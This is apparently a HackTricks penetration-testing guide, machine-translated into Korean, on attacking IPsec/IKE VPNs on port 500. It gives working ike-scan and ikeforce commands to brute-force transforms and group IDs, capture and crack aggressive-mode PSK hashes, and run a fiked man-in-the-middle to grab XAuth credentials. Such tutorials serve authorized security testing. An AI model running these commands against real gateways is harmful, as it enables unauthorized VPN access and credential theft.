20 KiB
500/udp - Pentesting IPsec/IKE VPN
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
기본 정보
IPsec는 네트워크 간(LAN-to-LAN) 및 원격 사용자가 네트워크 게이트웨이에 연결하는 원격 액세스 간의 통신을 보호하는 주요 기술로 널리 인식되며, 기업 VPN 솔루션의 중추 역할을 합니다.
두 지점 간의 **보안 협정(SA)**의 수립은 IKE에 의해 관리되며, 이는 인증 및 키 교환을 위해 설계된 프로토콜인 ISAKMP의 범위 내에서 작동합니다. 이 과정은 여러 단계로 진행됩니다:
- 1단계: 두 엔드포인트 간에 안전한 채널이 생성됩니다. 이는 사전 공유 키(PSK) 또는 인증서를 사용하여 이루어지며, 세 쌍의 메시지를 포함하는 메인 모드 또는 공격 모드를 사용합니다.
- 1.5단계: 필수는 아니지만, 확장 인증 단계로 알려진 이 단계는 사용자 이름과 비밀번호를 요구하여 연결을 시도하는 사용자의 신원을 확인합니다.
- 2단계: 이 단계는 ESP 및 AH로 데이터를 보호하기 위한 매개변수를 협상하는 데 전념합니다. 이는 **완벽한 전방 비밀성(PFS)**을 보장하기 위해 1단계와 다른 알고리즘을 사용할 수 있게 하여 보안을 강화합니다.
기본 포트: 500/udp
nmap을 사용하여 서비스를 발견하십시오.
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
유효한 변환 찾기
IPSec 구성은 하나 또는 몇 개의 변환만 수락하도록 준비될 수 있습니다. 변환은 값의 조합입니다. 각 변환은 DES 또는 3DES와 같은 암호화 알고리즘, SHA 또는 MD5와 같은 무결성 알고리즘, 사전 공유 키와 같은 인증 유형, Diffie-Hellman 1 또는 2와 같은 키 배포 알고리즘, 그리고 28800초와 같은 수명을 포함하는 여러 속성을 포함합니다.
따라서 서버가 당신과 통신할 수 있도록 유효한 변환을 찾는 것이 첫 번째 작업입니다. 이를 위해 ike-scan 도구를 사용할 수 있습니다. 기본적으로 Ike-scan은 메인 모드에서 작동하며, ISAKMP 헤더와 여덟 개의 변환이 포함된 단일 제안으로 게이트웨이에 패킷을 전송합니다.
응답에 따라 엔드포인트에 대한 일부 정보를 얻을 수 있습니다:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
As you can see in the previous response, there is a field called AUTH with the value PSK. This means that the vpn is configured using a preshared key (and this is really good for a pentester).
The value of the last line is also very important:
- 0 returned handshake; 0 returned notify: 이것은 대상이 IPsec 게이트웨이가 아님을 의미합니다.
- 1 returned handshake; 0 returned notify: 이것은 대상이 IPsec에 대해 구성되어 있으며 IKE 협상을 수행할 의사가 있으며, 제안한 변환 중 하나 이상이 허용됨을 의미합니다 (유효한 변환은 출력에 표시됩니다).
- 0 returned handshake; 1 returned notify: VPN 게이트웨이는 허용 가능한 변환이 없을 때 알림 메시지로 응답합니다 (일부 게이트웨이는 그렇지 않으며, 이 경우 추가 분석과 수정된 제안이 필요합니다).
그런 다음, 이 경우 우리는 이미 유효한 변환을 가지고 있지만, 3번째 경우에 있다면 유효한 변환을 찾기 위해 조금 브루트포스해야 합니다:
먼저 모든 가능한 변환을 생성해야 합니다:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
그리고 각 항목을 ike-scan을 사용하여 무차별 대입 공격을 수행합니다(이 과정은 몇 분이 걸릴 수 있습니다):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
만약 brute-force가 작동하지 않는다면, 서버가 유효한 변환에 대해서도 핸드셰이크 없이 응답하고 있을 수 있습니다. 그럼, 공격 모드를 사용하여 같은 brute-force를 시도해 볼 수 있습니다:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
희망적으로 유효한 변환이 다시 전송됩니다.
iker.py를 사용하여 같은 공격을 시도할 수 있습니다.
ikeforce를 사용하여 변환을 무차별 대입으로 시도할 수도 있습니다:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
DH 그룹: 14 = 2048비트 MODP 및 15 = 3072비트
2 = HMAC-SHA = SHA1 (이 경우). --trans
형식은 $Enc,$Hash,$Auth,$DH입니다.
Cisco는 DH 그룹 1과 2는 충분히 강력하지 않기 때문에 사용을 피하라고 지적합니다. 전문가들은 자원이 많은 국가들이 이러한 약한 그룹을 사용하는 데이터의 암호를 쉽게 해독할 수 있다고 믿습니다. 이는 그들이 코드를 빠르게 해독할 수 있도록 준비하는 특별한 방법을 사용하여 이루어집니다. 이 방법을 설정하는 데 많은 비용이 들지만, 이러한 강력한 국가들이 약한 그룹(예: 1,024비트 이하)을 사용하는 경우 암호화된 데이터를 실시간으로 읽을 수 있게 해줍니다.
서버 지문 인식
그런 다음, ike-scan을 사용하여 장치의 공급업체를 발견하려고 시도할 수 있습니다. 이 도구는 초기 제안을 보내고 재전송을 중지합니다. 그런 다음, 서버에서 수신된 메시지와 일치하는 응답 패턴 간의 시간 차이를 분석하여, 펜테스터는 VPN 게이트웨이 공급업체를 성공적으로 지문 인식할 수 있습니다. 게다가, 일부 VPN 서버는 IKE와 함께 선택적 공급업체 ID (VID) 페이로드를 사용할 것입니다.
필요한 경우 유효한 변환을 지정하십시오 (using --trans)
IKE가 공급업체를 발견하면 이를 출력합니다:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
This can be also achieve with nmap script ike-version
올바른 ID (그룹 이름) 찾기
해시를 캡처하려면 공격 모드를 지원하는 유효한 변환과 올바른 ID (그룹 이름)가 필요합니다. 유효한 그룹 이름을 모를 가능성이 높으므로 이를 무작위로 시도해야 합니다.
이를 위해 두 가지 방법을 추천합니다:
ike-scan으로 ID 무작위 대입
먼저, 해시를 수집하기 위해 가짜 ID로 요청을 시도해 보십시오 ("-P"):
ike-scan -P -M -A -n fakeID <IP>
If no hash is returned, then probably this method of brute forcing will work. If some hash is returned, this means that a fake hash is going to be sent back for a fake ID, so this method won't be reliable to brute-force the ID. For example, a fake hash could be returned (this happens in modern versions):
하지만 제가 말했듯이, 해시가 반환되지 않으면, ike-scan을 사용하여 일반 그룹 이름을 브루트 포스해 보아야 합니다.
이 스크립트는 가능한 ID를 브루트 포스하려고 시도하며, 유효한 핸드셰이크가 반환되는 ID를 반환합니다(이것이 유효한 그룹 이름이 됩니다).
특정 변환을 발견했다면 ike-scan 명령에 추가하십시오. 여러 변환을 발견했다면, 모두 시도할 수 있도록 새로운 루프를 추가해도 좋습니다(하나가 제대로 작동할 때까지 모두 시도해야 합니다).
일반 그룹 이름을 브루트 포스하기 위해 ikeforce의 사전 또는 seclists의 사전을 사용할 수 있습니다:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Or use this dict (is a combination of the other 2 dicts without repetitions):
{% file src="../.gitbook/assets/vpnIDs.txt" %}
Iker로 ID 브루트포스
iker.py 또한 ike-scan을 사용하여 가능한 그룹 이름을 브루트포스합니다. 이 도구는 ike-scan의 출력에 기반하여 유효한 ID를 찾는 자체 방법을 따릅니다.
ikeforce로 ID 브루트포스
ikeforce.py는 ID를 브루트포스하는 데 사용할 수 있는 도구입니다. 이 도구는 유효한 ID와 비유효한 ID를 구별하는 데 사용할 수 있는 다양한 취약점을 악용하려고 시도합니다 (거짓 긍정 및 거짓 부정이 발생할 수 있으므로 가능하면 ike-scan 방법을 사용하는 것을 선호합니다).
기본적으로 ikeforce는 서버의 동작을 확인하고 사용할 전술을 결정하기 위해 처음에 몇 개의 무작위 ID를 보냅니다.
- 첫 번째 방법은 Cisco 시스템의 Dead Peer Detection DPD 정보를 검색하여 그룹 이름을 브루트포스하는 것입니다 (이 정보는 그룹 이름이 올바른 경우에만 서버에 의해 재생됩니다).
- 두 번째 방법은 각 시도에 대해 전송된 응답 수를 확인하는 것입니다. 때때로 올바른 ID가 사용될 때 더 많은 패킷이 전송됩니다.
- 세 번째 방법은 잘못된 ID에 대한 응답에서 "INVALID-ID-INFORMATION"을 검색하는 것입니다.
- 마지막으로, 서버가 체크에 대해 아무것도 재생하지 않으면, ikeforce는 서버를 브루트포스하여 올바른 ID가 전송될 때 서버가 패킷으로 응답하는지 확인합니다.
명백히, ID를 브루트포스하는 목표는 유효한 ID를 가질 때 PSK를 얻는 것입니다. 그런 다음, ID와 PSK로 XAUTH를 브루트포스해야 합니다 (XAUTH가 활성화된 경우).
특정 변환을 발견한 경우 ikeforce 명령에 추가하십시오. 여러 변환을 발견한 경우 모두 시도할 수 있도록 새로운 루프를 추가해도 좋습니다 (작동하는 변환이 나올 때까지 모두 시도해야 합니다).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Sniffing ID
(From the book Network Security Assessment: Know Your Network): VPN 클라이언트와 서버 간의 연결을 스니핑하여 유효한 사용자 이름을 얻는 것도 가능합니다. 클라이언트 ID를 포함하는 첫 번째 공격 모드 패킷이 평문으로 전송되기 때문입니다.
Capturing & cracking the hash
마지막으로, 유효한 변환과 그룹 이름을 찾았고 공격 모드가 허용된다면, 쉽게 크랙 가능한 해시를 잡을 수 있습니다:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
해시는 hash.txt 안에 저장됩니다.
psk-crack, john (ikescan2john.py 사용) 및 hashcat을 사용하여 해시를 크랙할 수 있습니다:
psk-crack -d <Wordlist_path> psk.txt
XAuth
공격 모드 IKE는 **사전 공유 키(PSK)**와 결합되어 그룹 인증 목적으로 일반적으로 사용됩니다. 이 방법은 **XAuth (확장 인증)**에 의해 보강되어 추가적인 사용자 인증 계층을 도입합니다. 이러한 인증은 일반적으로 Microsoft Active Directory, RADIUS 또는 유사한 시스템과 같은 서비스를 활용합니다.
IKEv2로 전환하면서 **EAP (확장 가능 인증 프로토콜)**이 사용자 인증을 위해 XAuth 대신 사용되는 주목할 만한 변화가 관찰됩니다. 이 변화는 보안 통신 프로토콜 내 인증 관행의 진화를 강조합니다.
로컬 네트워크 MitM을 통한 자격 증명 캡처
따라서 _fiked_를 사용하여 로그인 데이터를 캡처하고 기본 사용자 이름이 있는지 확인할 수 있습니다(스니핑을 위해 IKE 트래픽을 fiked
로 리디렉션해야 하며, 이는 ARP 스푸핑의 도움으로 수행할 수 있습니다, 자세한 정보). Fiked는 VPN 엔드포인트로 작동하며 XAuth 자격 증명을 캡처합니다:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
또한, IPSec을 사용하여 MitM 공격을 시도하고 포트 500으로의 모든 트래픽을 차단하십시오. IPSec 터널을 설정할 수 없는 경우 트래픽이 평문으로 전송될 수 있습니다.
ikeforce를 사용한 XAUTH 사용자 이름 및 비밀번호 무차별 대입
유효한 그룹 이름 id와 psk를 알고 있을 때 XAUTH를 무차별 대입하려면 사용자 이름 또는 사용자 이름 목록과 비밀번호 목록을 사용할 수 있습니다:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
이렇게 하면 ikeforce는 각 username:password 조합을 사용하여 연결을 시도합니다.
유효한 변환을 하나 이상 찾았다면 이전 단계와 같이 사용하면 됩니다.
IPSEC VPN을 통한 인증
Kali에서는 VPNC를 사용하여 IPsec 터널을 설정합니다. 프로파일은 디렉토리 /etc/vpnc/
에 위치해야 합니다. 이 프로파일은 vpnc 명령을 사용하여 시작할 수 있습니다.
다음 명령 및 구성은 VPNC를 사용하여 VPN 연결을 설정하는 과정을 보여줍니다:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
In this setup:
[VPN_GATEWAY_IP]
를 VPN 게이트웨이의 실제 IP 주소로 교체합니다.[VPN_CONNECTION_ID]
를 VPN 연결의 식별자로 교체합니다.[VPN_GROUP_SECRET]
를 VPN의 그룹 비밀로 교체합니다.[VPN_USERNAME]
및[VPN_PASSWORD]
를 VPN 인증 자격 증명으로 교체합니다.[PID]
는vpnc
가 시작될 때 할당될 프로세스 ID를 나타냅니다.
VPN을 구성할 때 자리 표시자를 실제 안전한 값으로 교체해야 합니다.
Reference Material
- PSK cracking paper
- SecurityFocus Infocus
- Scanning a VPN Implementation
- Network Security Assessment 3rd Edition
Shodan
port:500 IKE
Try Hard Security Group
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.